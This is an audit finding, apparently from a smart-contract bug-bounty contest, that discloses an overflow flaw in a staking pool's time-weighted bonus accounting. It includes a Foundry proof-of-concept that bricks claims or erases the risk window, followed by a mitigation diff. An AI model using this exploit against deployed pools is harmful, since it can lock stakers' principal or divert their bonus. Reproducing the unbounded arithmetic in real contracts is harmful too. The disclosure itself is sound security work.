FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Unbounded stake moments can permanently brick claims or erase the risk window

Author Revealed upon completion

Root + Impact

Description

The pool distributes bonus tokens using a k=2 time-weighting formula. For every stake, it records first and second timestamp moments so that a staker's intended score at resolution is amount * (T - entryTime)^2.

The implementation stores absolute Unix timestamps and later expands the squared difference into separate uint256 terms. stake() proves only that the moments fit at the deposit timestamp; it does not bound total stake against the larger calculations performed when risk begins or when claims are evaluated. A successfully accepted standard ERC20 stake can therefore overflow checked arithmetic later even though the intended final score fits in uint256.

One reachable path makes every SURVIVED or EXPIRED claim revert permanently. A second path makes every attempt to observe UNDER_ATTACK revert; after the agreement reaches PRODUCTION, the pool records no risk window, pays stakers no bonus, and allows the entire bonus to be swept to the recovery address.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
// @> No bound ensures these accepted moments remain safe at a later timestamp.
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
// @> A total that fitted at deposit time can overflow when risk starts later.
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
// @> The positive terms can overflow before subtraction produces the much
// @> smaller, mathematically valid squared-difference score.
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
// @> This global overflow is evaluated by every staker's claim.
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
// ...
}

Risk

Likelihood

  • The factory can allowlist any standard ERC20 without enforcing a decimals or base-unit supply limit. A token with sufficient base-unit supply permits deposits whose initial moments fit while their later risk-window or claim-time moments overflow. The proof uses an otherwise standard 58-decimal ERC20, for which approximately 2.8 displayed tokens are sufficient at contemporary timestamps.

  • The overflow occurs deterministically when active risk is observed after a near-limit pre-risk deposit, or when a terminal claim evaluates the expanded polynomial after a near-limit post-risk deposit.

Impact

  • The claim-time path permanently prevents all unclaimed stakers from recovering principal or bonus from the non-upgradeable clone.

  • The risk-start path erases an actual risk interval from the pool's accounting, gives every staker zero bonus, and allows the entire promised bonus to be swept to the sponsor-controlled recovery address.

Proof of Concept

Save the test as test/audit/K2MomentOverflow.t.sol and run forge test --match-path test/audit/K2MomentOverflow.t.sol -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {stdError} from "forge-std/StdError.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
/// @dev Fully standard OpenZeppelin ERC20; decimals are display metadata only.
contract HighDecimalsMockERC20 is MockERC20 {
function decimals() public pure override returns (uint8) {
return 58;
}
}
contract K2MomentOverflowAuditTest is BaseConfidencePoolTest {
function setUp() public override {
super.setUp();
token = new HighDecimalsMockERC20();
pool = _deployPool();
}
function testAcceptedStakePermanentlyBricksSurvivedClaims() external {
// Open the risk window with zero stake, then build a total whose stored
// second moment is approximately 75% of uint256.max.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
uint256 t = block.timestamp;
uint256 targetTotalStake = ((type(uint256).max / 4) * 3) / (t * t);
uint256 victimStake = targetTotalStake / 4;
uint256 attackerStake = targetTotalStake - victimStake;
_stake(alice, victimStake);
_stake(dave, attackerStake);
// With 58 decimals, this displays as a 100-token bonus while the total
// stake displays as approximately 2.8 tokens.
uint256 bonus = 1e60;
_contributeBonus(carol, bonus);
// Any T > t overflows the expanded positive term, including the normal
// three-day upstream promotion delay used here.
vm.warp(t + 3 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
assertEq(pool.eligibleStake(alice), victimStake);
assertFalse(pool.claimsStarted());
assertEq(token.balanceOf(address(pool)), targetTotalStake + bonus);
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
}
function testAcceptedPreRiskStakePreventsObservationAndForfeitsAllBonus() external {
uint256 t = block.timestamp;
uint256 targetTotalStake = type(uint256).max / (t * t);
uint256 victimStake = targetTotalStake / 2;
uint256 attackerStake = targetTotalStake - victimStake;
_stake(alice, victimStake);
_stake(dave, attackerStake);
uint256 bonus = 1e60;
_contributeBonus(carol, bonus);
// The total fitted at deposit timestamp t. One second later, resetting
// the moments requires total * (t + 1)^2 > uint256.max.
vm.warp(t + 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0);
// Terminal observation does not retry `_markRiskWindowStart`, so no
// staker receives a bonus for the real risk interval.
vm.warp(t + 2);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, victimStake);
vm.prank(dave);
pool.claimSurvived();
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, bonus);
}
}

Recommended Mitigation

Prefer storing moments relative to riskWindowStart, which avoids the large wall-clock terms entirely. A minimally invasive alternative is to reject stakes above a conservative capacity derived from the maximum terminal timestamp. Since T <= expiry, bounding total stake to type(uint256).max / (2 * expiry^2) keeps both terms of every expanded expression within uint256.

+ error StakeMomentCapacityExceeded();
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ...
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
- _clampUserSums(msg.sender);
+ _enforceMomentCapacity(received);
+ _clampUserSums(msg.sender);
// ...
}
+ function _enforceMomentCapacity(uint256 additionalStake) private view {
+ uint256 maxTime = uint256(expiry);
+ uint256 maxTimeSquared = maxTime * maxTime;
+
+ // This division order cannot overflow and is conservatively rounded down.
+ uint256 maxTotalStake = type(uint256).max / maxTimeSquared / 2;
+
+ if (
+ totalEligibleStake > maxTotalStake
+ || additionalStake > maxTotalStake - totalEligibleStake
+ ) {
+ revert StakeMomentCapacityExceeded();
+ }
+ }

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!